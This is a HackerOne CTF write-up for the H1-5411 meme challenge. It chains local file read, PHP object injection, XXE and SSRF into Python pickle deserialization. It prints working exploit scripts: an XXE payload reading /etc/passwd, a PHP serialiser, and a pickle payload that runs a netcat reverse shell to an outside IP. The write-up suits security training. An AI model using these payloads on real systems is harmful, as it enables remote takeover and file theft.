H1-5411 CTF Writeup
H
h1-5411-CTF
Submitted None
Actions:
Reported by
leetboi
Vulnerability Details
Technical details and impact analysis
So, Hackerone posted a tweet about the Meme CTF Where barcode was in the tweet image by scanning it and decoding from hex I found this link : https://h1-5411.h1ctf.com/ where we can create/generate a memes and for generating the meme this was used form GitHub which i found in source code analysis `https://github.com/trepmal/meme-gen`.
## Discovering Local File Read
There was a meme generator which generates the meme by from it's templates which was already present and it took 4 parameters:
- template ( name of the template which is used to generate meme )
- type ( Meme Type : image/text)
- top-text
- bottom-text
{F352571}
The template parameter was vulnerable to local file read it take the file name available on the system and if present then it uses to create meme by adding the **Top** and **Bottom** Text.
{F352576}
{F352577}
## Analysing the source code
Since we have local file read we can download the source code of the application. by just changing the template parameter to 2 directory up `../../`.
{F352580}
In this way I have downloaded the source code of the application one by one and arranged it to according to the web application.
{F352584}
**Finding vulnerability in Import memes( /api/import_memes_2.0.php)** : It was taking a file with serialised data with base64 encoded and then merging the files array in the session.
```
<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
```
**Finding vulnerability in classes.php** The ` libxml_disable_entity_loader(false);` which disables the entity loader if the value is true. Since it was set to false so it allowed to load external entities.
```
class ConfigFile {
function __construct($url) {
$this->config_raw = file_get_contents($url);
}
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function generate() {
$this->parse();
$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
if ($this->type == IMAGE) {
if (@is_array(getimagesize($this->path))) {
$meme_path = MEMES_FOLDER . $filename . ".jpg";
$args = array(
"top_text" => $top_text,
"bottom_text" => $bottom_text,
"filename" => $meme_path,
"font" => FONT_BASE,
"memebase" => $this->path,
"textsize" => 40,
"textfit" => true,
"padding" => 10,
);
memegen_build_image($args);
}
}
if ($this->type == TEXT) {
if (!@is_array(getimagesize($this->path))) {
$contents = file_get_contents($this->path);
$meme = " " . strtoupper($top_text) . "\n\n" . $contents . "\n " . strtoupper($bottom_text);
$meme_path = MEMES_FOLDER . $filename . ".txt";
file_put_contents($meme_path, $meme);
}
}
return $meme_path;
}
function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
```
The `parse()` function was was parsing the xml entities with the desired elements(toptext, bottomtext, type, template). which makes it vulnerable to XXE. But till now we don't have any direct way to exploit XXE. The attack was intended to chain with each other. but to exploit the php object injection the magic method `__toString()` needs to be called because only `__wakup()` gets called when unserialize is used but here no wakeup method so. But I investigated the code and found a way where `__toString()` is called there is a loop is meme.php when the session is getting echoed there our uploaded file gets echoed too.
### XML Payload :
```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
<toptext>&xxe;</toptext>
<bottomtext>xd</bottomtext>
<template></template>
<type>text</type>
</root>
```
### Serialised payload (base64 Decoded):
```
O:10:"ConfigFile":1:{s:10:"config_raw";s:170:"<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
<toptext>&xxe;</toptext>
<bottomtext>xd</bottomtext>
<template></template>
<type>text</type>
</root>";}
```
## Exploit for generating the serialised data :
**Exploit.php**
```
<?php
class ConfigFile{
public $config_raw = '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
<toptext>&xxe;</toptext>
<bottomtext>xd</bottomtext>
<template></template>
<type>text</type>
</root>';
}
echo base64_encode(serialize([new ConfigFile]));
?>
```
## Chaining XXE with PHP Object Injection and escalating:
So I have created an exploit which generates a serialised the data and encoded to base64.
{F352605}
{F352604}
So, now we have a Preety good XXE and I was not able to escalate it further. So, I used the http wrapper in XXE to find local service and i found one on port 1337. and the description of the application was
**Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints: /status - View maintenance status; /update-status Change maintenance status; Debug: The debug parameter allows debugging**
On `status?debug=1` gives us the debug data/token base64 encoded in the response. decoding it to the base64 gives us the **Python Pickle Data**. Also `update-status?status` expects the parameter **status** for where I have generated a pickle code to generate a payload to get the reverse shell.
**Exploit.py**
```
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
def __reduce__(self):
comm = "rm /tmp/shell; mknod /tmp/shell p; nc 104.248.230.193 8008 0</tmp/shell | /bin/sh 1>/tmp/shell"
return (os.system, (comm,))
payload = pickle.dumps( payload())
print payload.encode("base64")
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
def __reduce__(self):
comm = "rm /tmp/shell; mknod /tmp/shell p; nc 111.111.111.111 8008 0</tmp/shell | /bin/sh 1>/tmp/shell"
return (os.system, (comm,))
payload = pickle.dumps( payload())
print payload.encode("base64")
```
**Generating a serialised payload**
```
<?php
class ConfigFile{
public $config_raw = '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMAooUydybSAvdG1wL3NoZWxsOyBta25vZCAvdG1wL3NoZWxsIHA7IG5jIDEwNC4yNDguMjMwLjE5MyA4MDA4IDA8L3RtcC9zaGVsbCB8IC9iaW4vc2ggMT4vdG1wL3NoZWxsJwpwMQp0cDIKUnAzCi4="> ]><root>
<toptext>&xxe;</toptext>
<bottomtext>xd</bottomtext>
<template></template>
<type>text</type>
</root>';
}
echo base64_encode(serialize([new ConfigFile]));
?>
```
## Reverse Connection and flag
- Use the base64 encoded payload of pickle and then use it to create a serialised data.
{F352614}
{F352616}
Flag : flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1}
Thanks
Ahmed!
## Impact
not required.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved